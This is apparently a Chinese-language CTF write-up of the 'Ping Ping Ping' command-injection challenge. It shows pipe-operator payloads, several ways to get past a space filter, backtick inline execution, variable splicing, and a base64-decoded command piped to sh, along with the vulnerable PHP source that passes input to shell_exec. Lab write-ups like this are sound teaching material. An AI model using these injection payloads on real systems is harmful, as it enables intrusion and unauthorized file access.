[GXYCTF2019]Ping Ping Ping

题目链接:https://buuoj.cn/challenges#[GXYCTF2019]Ping%20Ping%20Ping

和DMCTF做的那道pingpingping类似,同样是使用管道符构造payload,先使用:

1
?ip=127.0.0.1|ls

目录下有两个文件:flag.phpindex.php。首先试出来了空格被过滤,使用以下绕过空格:

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09

在linux下反单引号里面的指令会被执行 `ls`

1
?ip=|cat$IFS`ls`

会输出该目录下所有可以打开的文件,可以查看index.php的部分源码有哪些过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}

?>

一些基本的符号、空格、bash、任何形式的flag字眼都被过滤了。接下来就是找访问flag.php。在网上看了好多的题解,用了好多方法,但是网页输出都为空,原来以为和其他题目一样使用readflag的ELF执行文件访问,但是还没成功。其实执行:

1
?ip=|cat$IFS`ls`

这个payload的时候文件都已经输出了,我最后在网页源码找到了,原来是被注释了我是傻逼

最后记录下学到的姿势和这道题目的其他思路

  • 管道符:

    • |直接执行后面的语句。
    • ||如果前面语句错误,执行后面的语句。
    • &前面和后面命令都要执行,无论前面真假,
    • &&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
  • 使用以下绕过空格:

1
2
3
4
5
6
7
8
9
$IFS
${IFS}
${IFS}$1
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09 //需要php环境
  • 覆盖源码里的$a变量(拼接变量):
1
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
  • 使用sh执行脚本:
1
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
  • 内联执行:
1
/?ip=|cat$IFS`ls`

附:大佬整理的博客(内含更多姿势):命令执行漏洞利用及绕过方式总结